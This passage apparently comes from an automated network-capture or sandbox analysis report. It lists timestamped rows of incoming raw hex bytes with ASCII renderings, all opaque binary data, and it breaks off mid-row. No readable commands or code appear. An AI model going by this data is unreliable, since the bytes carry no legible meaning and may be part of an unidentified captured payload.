2c a6 02 6b 26 c0 2c 61 9c 7f 69 d5 97 61 91 98 1b 1e 12 1b cf 6c 44 1c Data Ascii: UK!fWqRAd1B+VUZ$.-dT}[[7~3ud#nVCW@R&T\|5<U}UGK=7vcy0;gngyoZ2n-<\|}9FP&.30$MqftU#/)7i,k&,aialD
2023-08-02 08:13:02 UTC	786	IN	Data Raw: 17 c5 98 98 c4 b2 52 79 c0 5b ca e0 f0 b9 97 d7 be 1b 78 72 9c 48 e1 cc 0c b7 87 b0 c4 52 b3 6e 7c 0d 61 f2 75 8b ff 06 39 51 6b dd d7 c6 bc 5c 7c 24 0f 41 71 5e b7 c9 a9 76 0e 8c 46 55 f8 21 e9 3e fd b3 64 d5 71 eb 7a 3f e8 29 a7 1b b3 00 7e b8 8a 4d 0b 39 f7 93 1c 6f 4a 92 30 12 e9 52 f1 b1 0e a7 8d 1b 86 cf b2 6c b1 ba f3 8a 99 e8 78 20 c5 e7 ec 61 14 c7 ba 67 2b c9 fa 1a a0 f5 ce b5 f1 bc e6 5a dd 48 67 f6 29 66 46 07 4c bf 71 0a e1 ac 77 46 ca 74 70 5d f6 3c 3e a1 c9 5b 4d 2d bd ed 94 42 41 35 21 aa f4 b1 ca 66 f8 b3 c6 47 85 6a b1 04 e3 07 ed cf 52 6a 8d 08 16 62 02 73 cb e1 43 f0 ed 32 ca 14 16 ee 97 91 2b a4 c6 b2 aa 48 bf ef cf 52 c7 ab 11 fd 26 15 d2 aa f2 38 ff 16 4b bb c0 f2 be 50 3a ba 71 20 dd c3 23 97 74 13 ac d1 b6 d6 bc 78 98 07 12 cd 10 Data Ascii: Ry[xrHRn\|au9Qk\\|$Aq^vFU!>dqz?)~M9oJ0Rlx ag+ZHg)fFLqwFtp]<>[M-BA5!fGjRjbsC2+HR&8KP:q #tx
2023-08-02 08:13:02 UTC	802	IN	Data Raw: 8d 71 dc c2 dd 74 f6 15 b0 f8 0b e5 c1 3b c0 80 3b 0c 50 56 f5 d0 89 19 1e eb 12 27 0e 42 1f 47 08 b0 5e ab c1 c4 cd 0a d0 ea c0 e6 9e 91 8c e6 b9 9a e2 5b 3f cc 8d b8 63 fb 64 e8 81 af 7e 94 fd aa 13 e9 70 0d 18 c0 55 2f 41 0c 76 fa 60 21 ce 73 b5 b8 bd 76 f8 d5 1d 69 f7 29 e7 14 4f 2f d1 44 dc cd 41 91 86 93 9b b0 a8 bf 99 9f 09 4c a7 17 83 b6 03 03 f4 0b 7e 50 44 1b bd 13 4f d8 38 f7 6a 23 4d 5a 3b 4e d9 07 0b 12 e8 05 60 47 c3 c7 98 ed dc 26 fd 42 db 9b bb 48 a6 02 4e 76 72 23 96 6a f6 6a 42 e7 5d 01 cc f6 37 9b 37 26 16 a9 3b 8c ef 49 3b d6 20 9f de 41 c3 95 e7 61 93 7c ce 1f 29 15 1b b9 ff 9d 6f ef 81 d3 de 69 a6 20 2f d5 7b c3 bc 4a f1 48 f3 df 90 e8 56 b2 9d de 5e 3d 95 c2 96 44 56 8d e2 f4 85 6f 61 69 4d 11 54 43 b1 29 8c 99 cf 46 16 5c e6 2b 57 Data Ascii: qt;;PV'BG^[?cd~pU/Av`!svi)O/DAL~PDO8j#MZ;N`G&BHNvr#jjB]77&;I; Aa\|)oi /{JHV^=DVoaiMTC)F\+W
2023-08-02 08:13:02 UTC	818	IN	Data Raw: f5 67 ba ad fc 75 91 a4 6e e1 a3 39 d6 e0 9e fd 28 1d 56 98 e1 4b 03 9b 6b b4 ae 54 77 1f 54 58 f5 07 c0 eb eb 9e 05 ed 51 51 de 61 f3 e2 67 10 9b 9c 84 84 50 c1 11 99 20 2d bb f4 cf cf fb f1 87 13 09 52 8b b3 d8 b3 b4 19 72 4e f9 6b 2e b4 f5 88 c2 54 59 01 b3 b7 1e 26 91 83 a7 d6 8b 8c f2 c8 1d 70 15 8e 8e d7 b7 0c 81 40 e9 2b 5c 0b 40 02 81 0b 74 46 28 c2 f8 66 a9 7c 3f 03 a4 77 70 7e a1 88 49 98 51 8f 2e 00 e9 51 64 22 06 43 0a 68 c1 6c 85 34 a6 fa 5f c7 9e bf 71 57 8d 0b d5 bd 3f 28 cf a0 3c 34 21 7e ca c5 5f 93 e2 4c ae 55 db 99 85 ee dd 4b 92 6f a9 86 fc a4 83 b1 9a dc a6 89 00 6d 1c 4a ff a7 f0 64 ff 17 f7 93 4a 85 85 14 3f 5f 16 3c ea 60 6d 1b 36 7e 96 3b 78 80 d7 db 2a 10 bc 5f dc 81 1e ca 95 b7 0e df ac 05 f7 7b be 3f 45 76 b8 ac 4f e9 ef 97 7e Data Ascii: gun9(VKkTwTXQQagP -RrNk.TY&p@+\@tF(f\|?wp~IQ.Qd"Chl4_qW?(<4!~_LUKomJdJ?_<`m6~;x*_{?EvO~
2023-08-02 08:13:02 UTC	834	IN	Data Raw: f6 45 2c 82 6c 95 60 da f1 e6 40 ae 5d 3b 13 be 85 5c f1 96 ab 91 33 16 fa d7 7f 94 c0 8e 41 5b 49 68 73 80 54 81 01 b9 da 9f ca 6e e3 10 f7 99 6c 81 7c 52 5a cc ed 67 d4 d9 3a a7 43 24 39 b8 64 11 89 0c d4 f6 b7 70 a7 8f 51 30 9c 1d 63 1b 78 18 dc da b7 f9 34 21 43 e4 cb 5a 59 b4 99 8c da 41 ec 5d ae ef 10 93 0b eb 5d 37 8e 93 09 40 20 5d 34 46 3c f6 34 e3 68 05 44 78 05 fd b9 aa 7f 5b 2a e7 67 8f a1 3a 64 15 9d 60 a6 09 34 c9 65 e8 47 a0 f2 18 67 2c 43 ea 60 e9 69 27 5c 13 48 5c 02 80 a6 c5 d3 f2 9f 47 fa 8a 20 f3 6d 36 7a 49 49 27 50 c6 e1 ae a9 17 4b 53 fd 9b e4 78 4d 08 b8 fc 18 81 0d 90 9f 59 ca c4 03 48 5b f6 6f c7 54 20 91 98 9f cf 38 bf 3a ce b3 6c 7a f1 d3 c0 c6 59 c4 19 4f c2 55 2d be f1 6a 15 6c 59 34 e1 5d 0a 42 53 21 79 b0 f4 cc 10 1f 21 7e Data Ascii: E,l`@];\3A[IhsTnl\|RZg:C$9dpQ0cx4!CZYA]]7@ ]4F<4hDx[*g:d`4eGg,C`i'\H\G m6zII'PKSxMYH[oT 8:lzYOU-jlY4]BS!y!~
2023-08-02 08:13:02 UTC	850	IN	Data Raw: 99 9c 81 16 c4 91 f3 28 eb cd 33 8f 1c 53 69 11 68 3b b6 3f 40 17 d8 12 de 98 bb f3 3e a8 3b a9 14 aa 77 fc a0 bb 3f 38 de d6 9f 88 b1 9e 3b b3 92 bc 49 a6 2f 59 97 9c bc 7f 12 91 4d 9d 2d d4 ec 8c 2a 37 32 2b 90 99 c6 02 02 de 0d 92 75 8f be f8 60 0c 0b 4a 9b 60 7d 0a aa be 7f 40 75 6c f8 74 68 25 3e 01 11 96 3c 22 1c 92 99 c9 77 7f c8 e6 93 cc 9f 63 b1 42 da 04 fa 1b f4 78 6e a1 78 d7 dd 0d b5 96 6c 22 c7 57 45 28 06 18 68 80 58 3a 2b b3 27 ed 9e 55 13 1b 81 f1 d5 6b 88 1f 61 8e 95 0b db d1 a2 ac d7 c7 36 6f 2b 5b 7b f2 03 4b 12 d5 57 43 d0 c2 01 da c1 46 b2 8e 60 a0 c9 86 19 96 3e 3e c8 22 b3 cd 72 56 3b f6 85 08 bb 56 ea 9a 09 09 25 3b bb 38 e2 61 84 0c de a7 b5 8a be 02 e7 a9 bf db c6 84 7e c8 e2 f8 42 18 ae fb f7 16 51 e7 d7 f3 17 1e ef f2 84 76 31 Data Ascii: (3Sih;?@>;w?8;I/YM-*72+u`J`}@ulth%><"wcBxnxl"WE(hX:+'Uka6o+[{KWCF`>>"rV;V%;8a~BQv1
2023-08-02 08:13:02 UTC	866	IN	Data Raw: 74 ec cf 7f 50 2f 7b ea 5e f9 22 02 58 85 21 a6 b5 d3 f9 2c 82 c5 43 74 24 d8 84 d3 85 d2 91 4b 35 02 cd 7e 5b 55 e2 ef a7 00 37 57 9b 3c 93 04 62 01 93 f8 55 b0 4f eb 0f 42 87 e3 7a 19 02 15 c4 ac 3d 84 8c 13 20 b4 7d 1a a8 84 68 0c 5a f4 31 e0 c7 27 2c cc 1b 03 40 05 c8 70 32 0d 73 f8 2e b5 8f de 1e 2b 58 7f b5 fe 2a 8f 44 de 13 c0 63 8e 49 c2 82 ef 82 f9 d2 cd 75 4e 96 14 3b d8 6b a5 2c 40 ff f0 1f 20 4a 2e c1 7a 0c 14 26 e8 de 8e 0a b3 96 a0 35 6f 5f 86 90 bc 81 43 3b 72 bd 40 0c b9 3e fe 66 95 9c 8b b7 84 bf 81 2f c4 a9 c2 e9 20 a1 e7 ac 64 11 ce 61 25 30 03 89 67 2b 8d a8 53 df de 86 b9 97 02 65 aa ae 2b 9e b7 c3 af 3e 78 6b 9b 92 bc 22 13 8d 55 05 c1 17 1c cb 2f 45 a2 64 6c a2 dd 29 98 4d a7 79 66 ae 96 e0 8a 9e d5 a2 a3 07 cc 21 65 97 71 75 e1 3e Data Ascii: tP/{^"X!,Ct$K5~[U7W<bUOBz= }hZ1',@p2s.+X*DcIuN;k,@ J.z&5o_C;r@>f/ da%0g+Se+>xk"U/Edl)Myf!equ>
2023-08-02 08:13:02 UTC	882	IN	Data Raw: db 18 38 47 16 46 b3 8b ac e7 64 24 3a 9f 64 1e 01 35 c5 f7 28 50 9e 30 db 7a 67 ed 35 a4 95 06 25 ea b7 34 0c c2 bd c0 b0 ed 83 1d 34 25 d9 03 5f 5a 3a ee 52 51 2d c6 26 56 da 0f cb 58 6e c6 af 70 00 93 c2 cc ff d7 3e 78 94 07 e2 08 d3 31 b1 85 bb c5 dc 12 0b 5e ce 18 f9 db d8 12 08 ad ca d6 08 ed bd 30 2f 66 0d 31 a2 da 75 58 3f cb 18 fc ab e7 9b 12 1f a7 de 60 b1 a5 77 6f 4c 94 98 a4 b4 d6 fc 60 ef b5 97 18 2f 7e cb 31 6e 7d 0e 61 85 05 e8 05 df b2 6c 2d 51 f6 7d 6e 56 e0 d2 1a ce 0a 06 72 71 13 01 a1 c8 4a 34 11 f5 94 a7 b4 54 37 93 5a 24 66 b8 38 d9 e4 08 54 07 60 07 80 85 30 91 99 a1 94 d2 13 20 19 11 35 9c 0e ad 4f 8a ea 39 ba e1 f9 0c cb 82 0b 95 30 f8 38 2d 92 e4 f8 82 7c 46 91 29 03 d1 f8 33 a7 92 e4 b7 ca 4e 0c 1c 62 7a 50 25 14 51 10 4e c7 c1 Data Ascii: 8GFd$:d5(P0zg5%44%_Z:RQ-&VXnp>x1^0/f1uX?`woL`/~1n}al-Q}nVrqJ4T7Z$f8T`0 5O908-\|F)3NbzP%QN
2023-08-02 08:13:02 UTC	898	IN	Data Raw: fb 5d 84 a5 3c 10 e6 63 db d4 28 3f 90 50 15 f3 85 ec 9b 16 c2 8a a9 2b b8 a7 b1 ea e0 0d 26 c7 e0 06 88 ef 6b 21 a0 dc 57 95 71 74 75 1c 0e c1 e0 ea 28 ec 63 72 f0 7f 00 09 51 65 82 f2 da b6 70 19 7f 05 87 3e c7 f5 9a 6f ea da d8 4e eb 93 fa 38 3a ca 4a 83 57 b0 9e c1 14 6c d9 e5 52 30 fa dc e7 86 c5 17 bc 02 70 e1 53 f0 42 32 cd c5 39 88 20 41 49 ad f4 41 79 10 ce 40 da f1 9f 92 ff 0c cf 83 3a 7a 03 26 97 b1 86 58 6e 40 2e 6c 8a 22 ec 95 c9 d6 99 84 2f 3d 56 10 6e b2 95 ca 5e c7 a0 b0 46 b8 a8 9f 24 61 df d8 08 5c 96 95 83 82 d0 74 2e d0 87 5c e7 59 d0 db 8f c8 08 2b fb 65 5f cb 31 bf 0c 9a 5a a4 87 0d 1f b3 cb 80 f3 4e 27 26 a5 22 fc ce fd 0d a0 0c bb e7 3a a4 05 08 6a 3b b6 58 dc 54 d5 30 a9 49 52 46 80 6e f5 db ad 4d 0e 29 d1 42 db 54 ad e1 51 e7 fe Data Ascii: ]<c(?P+&k!Wqtu(crQep>oN8:JWlR0pSB29 AIAy@:z&Xn@.l"/=Vn^F$a\t.\Y+e_1ZN'&":j;XT0IRFnM)BTQ
2023-08-02 08:13:02 UTC	914	IN	Data Raw: a7 7e 5e 3d c3 96 f5 e9 23 6a 5d 8d 41 44 45 01 b7 52 b8 2f e6 b3 16 62 2d 9d d4 38 25 61 f4 17 8a 26 68 de 2a 99 b9 67 de e6 4f e7 ee e4 c2 b1 f8 1d 47 c4 a1 c2 de 62 1d 63 44 57 aa a0 90 38 10 1c fb 92 e6 8c f8 9e d2 92 1a 1f 6c ad 5c 83 94 50 2d df 41 e9 3e 2e d7 d9 74 17 8e 44 5b 7e 63 70 89 f1 2d 8a e4 bc 3c 5a 67 10 0e 3d 70 7d b9 5d 98 b2 22 e2 5c b7 88 13 ea af e4 69 24 c0 23 af 60 0a ba bd 9f 3b 7a d5 0c 14 f1 e2 ac c9 f6 37 73 c2 a5 75 d0 36 ff ab 4d 21 fa 91 1c 27 df 37 b7 f6 4f 45 7e 74 98 ee 18 d7 27 f4 8e 77 2c 30 af 14 45 7c 7f 25 e5 3c 5d e2 9e ce 7b 7d f2 7a 92 0a e9 ae d5 17 e6 b2 b0 70 42 c4 ab 19 39 83 af e0 9d c7 43 2d c8 4f 1f 14 63 22 30 95 00 e9 fc 98 d3 fd 01 2e b3 c1 5b ab 0c 19 d0 ac 92 7b be 26 3b 83 f7 ed 92 13 25 0d 4c d8 ba Data Ascii: ~^=#j]ADER/b-8%a&h*gOGbcDW8l\P-A>.tD[~cp-<Zg=p}]"\i$#`;z7su6M!'7OE~t'w,0E\|%<]{}zpB9C-Oc"0.[{&;%L
2023-08-02 08:13:02 UTC	930	IN	Data Raw: de ba f6 9c 6e b7 44 68 61 71 15 58 e2 78 95 8e 4e 5a 07 10 08 1e e6 42 eb 9a 8e f2 f5 2c d1 43 3e b0 07 a8 89 fd 01 8e 46 a8 76 ca ab fd b6 ee b5 4a 17 f5 ad c4 98 d1 d9 bc 2b 52 6b 48 8f f0 50 27 a1 6e 77 14 e3 f1 30 68 07 41 0b 7c 12 75 20 ec 6a 17 b7 ff 17 64 13 fd fd 7f 1f cb 2c b8 81 25 9a 62 d0 d6 b6 90 63 3c 0e 1b 01 99 b5 82 7d 55 49 b7 62 a6 6d f6 2e 52 6d 3b 14 03 dc 7d 1f d4 cb 41 a4 4e 1e f0 55 97 18 01 48 f3 b9 7b 14 73 c8 ee ed 70 43 87 c5 cc a6 9d 92 a1 96 dd 50 e9 4a 2b db 1f 0c 6d 8c 2d e5 de 2e e7 34 dc e7 ae 75 2b c5 44 51 49 17 1d 5b 29 5e 0e 33 82 75 86 43 71 b9 76 46 59 7e 05 54 4a 74 69 ba 0a 96 70 82 93 41 8f 29 b1 61 65 96 4c 99 3c e5 9d 69 48 bc e3 15 63 cb 57 3d 5b 9e de 64 5f c9 c0 d5 50 c7 2b ef 88 49 08 a4 6c b0 54 04 a1 61 Data Ascii: nDhaqXxNZB,C>FvJ+RkHP'nw0hA\|u jd,%bc<}UIbm.Rm;}ANUH{spCPJ+m-.4u+DQI[)^3uCqvFY~TJtipA)aeL<iHcW=[d_P+IlTa
2023-08-02 08:13:02 UTC	946	IN	Data Raw: 59 b2 c8 c0 54 43 1c 54 b8 5a b9 34 e9 ab 89 6c c2 54 57 19 a0 a7 8b 71 43 bc a9 94 4c 25 cc 0b 6d a7 d0 65 9c a7 32 f3 20 af a6 0d 01 0d c8 bd fe 1d cd 8a 2c 81 6c 21 0a 8d 9f 79 e1 5c 53 56 4e c0 3a 46 ed fd 71 46 e8 32 7d ad aa 34 31 7d 9a 1a 8d d5 b4 5c 16 79 4c 8b a0 28 ea a3 d8 f6 45 aa d7 fe ef c0 d3 d3 a0 c6 07 4f 1d e0 15 47 7b 47 61 60 da 8b 55 ae f1 8c 5c 69 79 72 de d4 4d 22 5d 43 8d 41 20 5c cf bd 09 f1 1e 22 be e0 5d e9 db b6 90 25 08 2f cf 38 21 c0 19 d3 bf 9b 96 f0 1d e6 94 79 28 c3 92 af 19 fe 48 15 18 e7 75 50 9d cf a8 5b d5 37 a5 5f 78 d7 51 0f 54 00 70 21 d9 aa 92 95 1f ba 22 a0 4f 46 4f 68 e9 83 1a 5f 5f 5f 29 87 2e 02 3a 81 fb 61 24 3f db aa 82 4f 7c 1c e3 54 ab ba 88 b1 67 0c 7c f1 6b 14 07 b3 a8 67 19 d0 54 ef 90 a1 ca fc 96 5e 5a Data Ascii: YTCTZ4lTWqCL%me2 ,l!y\SVN:FqF2}41}\yL(EOG{Ga`U\iyrM"]CA \"]%/8!y(HuP[7_xQTp!"OFOh___).:a$?O\|Tg\|kgT^Z
2023-08-02 08:13:02 UTC	962	IN	Data Raw: 6e 8d 18 bf bf 92 f9 83 6d b8 96 33 d9 60 f0 13 c1 01 05 cf c0 de f2 32 cc 29 92 57 85 b8 93 e9 cc be 0b 4c ae ac 26 f7 5f 98 ba db 8c 17 b9 10 9e 7f 1f b1 16 a7 7c 84 62 ea 62 6b e2 d7 1a cb 78 84 af f0 76 46 72 97 82 8c 2e 33 40 4d 1e ec 00 28 aa 58 cb 88 c5 bf b3 24 57 1b 9e 60 ea 35 5c f8 75 fd db 7d 8b 84 90 56 61 92 dd 1e 6e 37 92 7e 94 d5 3a a4 3c 68 5a 41 ce 16 6b 5c 5f 47 c7 48 02 cc 9d c0 86 81 23 e2 6e 43 d3 d7 9d 66 8b 31 d6 e5 51 ac 4a b6 3c 60 69 0c 94 a2 ae 7f 70 a3 76 b8 f4 31 2b 39 6e 59 6c 44 22 b6 52 02 a5 69 f4 81 0a e1 64 70 2b c9 a2 79 4b 38 2e 37 90 5b 4e 86 d9 69 c3 fa 76 14 90 71 bf 6a fd 3d 77 08 3d 3a 9b 87 9c 39 0d 4a 10 92 e2 e7 0d b8 dc dc 54 46 18 12 1b 51 20 f5 8e 62 20 4a a6 89 97 f6 fc b5 7a 33 bd d6 a1 15 8a 74 f8 c3 e0 Data Ascii: nm3`2)WL&_\|bbkxvFr.3@M(X$W`5\u}Van7~:<hZAk\_GH#nCf1QJ<`ipv1+9nYlD"Ridp+yK8.7[Nivqj=w=:9JTFQ b Jz3t
2023-08-02 08:13:02 UTC	978	IN	Data Raw: 33 9d 6f e1 ae 95 51 a8 2c a5 e3 e3 9b 1b 7d b0 d1 a6 cb 90 7c 03 53 99 15 2a fb 0d 14 2c ca 89 07 d2 4d 23 e2 61 7c 43 e7 58 1f 99 0e 1f 36 20 15 e9 f4 c8 ef f1 9f 86 28 fe 12 82 93 3e a5 1f 6e c9 85 45 fd da 79 50 de 3d 72 f8 0c bd 25 d1 73 62 a2 d7 b9 41 aa 94 b3 97 1f 2b a2 6d c0 9d bf 28 9a 0c f5 f7 82 ac dd b0 3c bb 15 ae 27 32 5b 88 6d 9c 19 21 a4 76 4e e2 42 17 d9 f6 2f 10 df ab 30 0e 70 11 ab ab 05 6d 87 85 99 df 89 c3 1a a9 25 54 08 8e 0f c6 4d 96 88 79 a0 58 48 d1 f4 3d b7 9e 71 56 ae 3d d2 0d d7 64 a3 00 38 6d de ff 0f 04 09 fd 10 de 0b c1 2e 0b da cc 11 51 41 4e 0b da e5 ce 54 cb 8f 54 10 1b 16 b8 36 c1 7a b5 dd bc 01 da 24 42 b9 75 10 74 12 23 47 46 e0 e3 71 49 48 ee 2b 40 15 02 77 2d f8 bf 4d 1a ce cc 33 3f 84 8a c8 ad 90 e6 a7 2c ee 04 a1 Data Ascii: 3oQ,}\|S*,M#a\|CX6 (>nEyP=r%sbA+m(<'2[m!vNB/0pm%TMyXH=qV=d8m.QANTT6z$But#GFqIH+@w-M3?,
2023-08-02 08:13:02 UTC	994	IN	Data Raw: b5 f8 30 21 e5 c4 ae f5 8a 20 7d e2 79 19 3a e8 82 41 4b d5 bc 22 28 db 4b 1c 46 6c 1a 3b f0 91 e6 e1 30 ac bc f8 58 b4 e0 a6 d1 d7 3b 07 da 8b 31 64 5f 11 ac 9d 3e f4 cb fc a9 60 a6 a1 75 dd f5 4e 38 30 ed e7 8e 2e 8e 57 3e 11 3b f6 96 d0 fb da fc dd ba ca 27 e2 3a 98 be 7a 9d e8 f7 db b0 27 8d 55 7a c0 37 e9 2b 66 4e fd b2 4c 2f 59 17 f3 03 bd 94 05 d7 67 30 fc df 40 12 e4 aa f3 58 41 e0 ad 7f 41 f5 f4 22 9b cd a9 aa 36 b3 04 1b 32 3d 66 8d d6 49 3d 4e a9 f5 9a c1 be 26 be e8 f3 56 c5 81 1f d2 b2 96 45 01 56 55 d6 11 14 e1 72 d5 10 ef 39 d2 44 fd 10 cd 85 54 97 6f d3 31 2f b9 33 ce 0c 2b e8 46 68 14 46 b3 64 64 a2 36 e4 55 b6 00 c7 ea 72 60 5f 63 29 ba 58 0b b2 9a e4 cc 85 74 8b d4 c6 dd c2 d9 eb 81 be f9 d1 7a d0 8a fa 4a 1c 74 00 4a 53 f5 d3 f0 3a aa Data Ascii: 0! }y:AK"(KFl;0X;1d_>`uN80.W>;':z'Uz7+fNL/Yg0@XAA"62=fI=N&VEVUr9DTo1/3+FhFdd6Ur`_c)XtzJtJS:
2023-08-02 08:13:02 UTC	1010	IN	Data Raw: 1e 45 7b 0f b7 2f 14 15 61 d5 1e a9 13 2b be 8c 1a 87 c7 c7 6c 10 33 57 71 a3 3c 9c 92 90 41 cf ab 23 81 b1 2b bc 1e e8 6c 22 31 31 23 4d f2 75 dc 75 9b fd 6c 53 12 93 b6 40 0c eb 7f 7e 5f 9c e7 da 80 84 e5 8d 97 43 b8 32 96 20 75 db a2 72 28 29 a7 a3 d1 ca 81 61 38 d0 60 27 26 02 cc b2 e7 24 7a 8c a8 0c 7b 66 38 09 a2 80 ec f8 e4 13 ba d8 08 ad 80 c7 e9 86 d3 ee ed cf b8 af 62 6c 2a 37 de 38 3c 98 78 51 23 96 e6 93 df 14 50 e1 7d 32 4d 3e 5e a7 66 6b 3d 9b be 5f c2 6f 0c f0 64 37 e4 4f 68 9f 62 74 dc 95 ad 19 f3 42 da 35 ef 85 db 05 c2 c8 12 f0 e0 39 64 73 a5 bb 41 95 6b ce 9a ae 4b 72 65 32 38 fb ce 3a 91 c0 67 01 30 97 c7 35 5d 89 04 11 56 37 c8 95 30 23 42 8e 2d 1a 96 84 78 93 a2 50 3f fb 85 6f 6f 9f 4a 5c bd 31 90 3a ee cc e1 68 1c 5d b0 ab 65 da 5c Data Ascii: E{/a+l3Wq<A#+l"11#MuulS@~_C2 ur()a8`'&$z{f8bl*78<xQ#P}2M>^fk=_od7OhbtB59dsAkKre28:g05]V70#B-xP?ooJ\1:h]e\
2023-08-02 08:13:02 UTC	1026	IN	Data Raw: 05 9c f0 5e cb 9f 62 e7 8d bd b1 5b 4c d9 51 9c ac 48 54 27 b0 e1 9e 28 5f db 11 f8 aa 01 8c b8 a2 6d bc be 5d 41 d2 1d 6e 1e b8 fb b6 86 2b 3e f5 41 06 f4 8a 92 fe 27 50 bd 59 24 7b f2 14 a8 50 32 b4 1f 39 25 d7 9c 65 00 91 30 2f a2 7a 0c 98 4c 7f 05 43 11 b0 14 31 26 b9 7c 6e 2a 33 e9 c3 cb 31 91 8e b3 d0 29 9d 58 60 75 f3 76 0b 9f ac e1 99 5d b9 d7 fd 40 1f cf cd 4f 60 5e c9 34 e6 02 a5 03 a4 b0 30 9d 18 d0 25 b1 0a 62 88 d4 f0 a9 c5 6f da db 74 16 e6 3f 9f 02 7b 68 77 39 f5 b1 97 d3 c3 8f 40 de 07 ae c1 01 d6 fe 22 9b b3 db 5e 56 72 4f d1 7e d0 18 9b 34 cb 17 a1 8e 02 9a 0e d3 54 e1 50 ab e3 d5 11 b8 b8 29 91 e6 ac c3 e3 eb f2 22 25 ae fb 29 b7 e4 c5 0c 05 1f 98 49 03 4a ae ed 3f 9f a9 eb 67 7a d3 04 9f 2e e7 ac ec fa fc 90 10 27 53 31 57 e9 7e 91 ac Data Ascii: ^b[LQHT'(_m]An+>A'PY${P29%e0/zLC1&\|n*31)X`uv]@O`^40%bot?{hw9@"^VrO~4TP)"%)IJ?gz.'S1W~
2023-08-02 08:13:02 UTC	1042	IN	Data Raw: f4 11 5f 5d 3d f0 2a aa 0d b3 59 98 01 dc 08 24 c4 8b 73 08 fe f9 42 83 85 fc 81 bc 70 9b 1f 87 c8 1b aa af 96 2e cc e1 9f 07 2d a0 14 02 50 86 d7 53 c1 5a 04 c9 56 e8 cb 9f f2 cc 5b d1 dc 29 4e 09 94 cf cf 62 9f be f5 12 1f fb 4e 05 2e 71 b0 06 8d 0c e8 a2 53 fc 4c 73 1f 3d 5b 23 b5 ca 39 d8 4b 7e 49 3f 47 7c 38 4f 44 13 f9 c7 56 c8 c1 37 18 07 ce 77 b7 a7 06 47 99 c6 1c 6c dc 2a 2b 1e 62 2d f6 2b b7 bd d8 df d9 f4 a2 de d7 df e0 5f aa d9 10 3b 72 5a 44 06 4f 99 c0 85 46 f5 e8 19 bb 2d 64 50 67 f9 43 22 8d 30 d2 85 ea a5 13 39 6e 16 6c 35 5c 5e c3 d0 26 b8 3a d2 2d f5 c4 25 00 c3 50 af 55 c0 9c 21 9c be 0a d9 1a b4 36 40 d2 3e f8 a1 c8 ce e3 84 f5 d6 0e b5 54 28 ef 7e 27 52 9c 9e a9 86 74 5b 36 35 70 13 0c 72 a0 27 72 a9 75 de c4 be 81 35 ca d5 dc 19 c0 Data Ascii: _]=Y$sBp.-PSZV[)NbN.qSLs=[#9K~I?G\|8ODV7wGl+b-+_;rZDOF-dPgC"09nl5\^&:-%PU!6@>T(~'Rt[65pr'ru5
2023-08-02 08:13:02 UTC	1058	IN	Data Raw: ea 06 15 2a 76 9b b6 d9 7c 9a f3 5d 0d d7 54 a1 56 e8 ad 61 c6 1e 7c 8b 83 b8 50 56 c1 55 68 cf c1 aa 88 79 b6 c0 84 fc 5e db e9 ec 55 a5 c0 20 24 b1 6d 07 a6 68 dc 5d 40 66 c2 86 f5 34 17 68 c1 3a 7e a4 e5 f1 c1 8f 8f 93 ba 4a f3 62 63 7b 26 3f 48 f1 9e a5 6a ac 77 bc 7f 57 28 9b 92 89 ea 5e d8 f3 73 e2 03 bb ed de 80 35 ee aa 1b fd 42 6e 4a 0d 42 61 27 e1 fd 33 4f 72 65 3c 5e 5b 4f 40 46 82 9d 37 dc e5 4b ed a3 e3 6a 0c 69 10 01 ff ba f6 34 8c bc a6 bf 92 0c af a3 78 ab 97 20 7a 9c 00 70 e0 c0 28 f6 d1 e9 e8 e9 8a 4b 3e 90 8f 88 72 fd 45 8d a2 c7 94 b0 42 e6 46 c2 67 5d d8 cd 40 f7 61 14 af a2 f0 98 8b 9d 39 d3 cc a5 bb 9d 6c e7 2a 99 0f 5b ec 78 6a 2f 66 64 b1 ee 56 87 49 03 82 24 5a 51 89 05 a5 cd 8a e7 ac 89 17 44 e7 b7 a1 90 fa 32 d8 80 2c c0 c3 88 Data Ascii: v\|]TVa\|PVUhy^U $mh]@f4h:~Jbc{&?HjwW(^s5BnJBa'3Ore<^[O@F7Kji4x zp(K>rEBFg]@a9l[xj/fdVI$ZQD2,
2023-08-02 08:13:02 UTC	1074	IN	Data Raw: 52 c9 45 a4 fd 9c 8c 7e de be 1c 4e 1c ee ad d4 8e 30 38 ca a8 b9 7b af e6 2a 72 8a 17 2b b6 f3 06 f4 97 de 95 fc 60 54 64 72 cf 68 6f e0 85 c8 28 68 e8 d2 55 0b 34 16 15 6e ed fd f1 ad 03 ee de 97 c4 a7 17 70 16 b7 8c fa eb 64 11 59 f9 1b fa a8 5a d7 6c b2 4f d9 6c 0d 94 49 b3 20 0d ef 84 13 43 ac 69 99 96 06 ee ea 0f 38 35 06 9d 83 b3 e4 f0 2f 7c af 2d 77 ed 31 8a a4 14 ba de 09 f6 10 8c 11 1e c7 f9 0b 3f 3f ce ff 64 4b 51 e0 8d ce c9 6f 60 31 4d c9 13 92 b8 24 15 88 04 c2 26 ca 4f b0 f0 fb 4b ab ff 47 c5 86 c9 c3 f3 77 a1 75 ae bb 6d fe 74 f8 db 65 66 f1 6a 0e b0 a6 2d 2a 5f df ac 82 ab 3b 87 b4 85 c2 a5 a5 18 71 72 05 5a fa d4 09 bd 0b 8c e0 a9 ad 73 28 23 31 df 72 e8 e1 79 3f e4 bf cf aa 88 84 22 89 21 3e 20 75 ad 7c 54 98 6e e6 aa 8a 42 3a 8b 3c 33 Data Ascii: RE~N08{r+`Tdrho(hU4npdYZlOlI Ci85/\|-w1??dKQo`1M$&OKGwumtefj-_;qrZs(#1ry?"!> u\|TnB:<3
2023-08-02 08:13:02 UTC	1090	IN	Data Raw: 74 c4 3c b7 c1 dc 25 82 18 66 3e 01 bc b4 bb cc 60 08 dd 1f 7b 9e 87 17 7c fa 39 8f 44 2c 88 b9 ac 96 21 00 58 0c d6 40 5f 9f bf 6f 9c d2 1e e0 84 6f ff b1 49 c9 7b 60 da 04 08 f1 bb 71 ff 9d 87 80 0d 1d 3b 7a 9a 4c 95 91 16 75 58 8c a5 9d 99 d4 2e 67 f7 31 68 50 56 49 cc 11 ed 46 8b 21 d9 ef bd 26 f2 51 ef e5 05 c4 6e aa 14 6b 9a ff 57 bc a6 90 9b 3c ed 9c 2f 4b 6a c2 ad 70 a8 91 b5 17 d8 51 1d 2d 7d 9b e4 12 f1 bd 16 95 34 fc 25 cc 4c 58 a1 c4 e6 0a ea c2 47 ef 3d 31 8e 11 90 f8 5b 0d b5 42 b0 ef 8b 2b 19 e7 1d 53 0a 25 c4 4b 24 90 0e c1 3d 67 3f 4f 71 94 63 53 d2 13 cb 54 3b 1c 60 91 54 f6 1b de 9d 23 14 3d ca 55 70 5f 05 76 cc 9b 35 e2 1b 48 57 dd 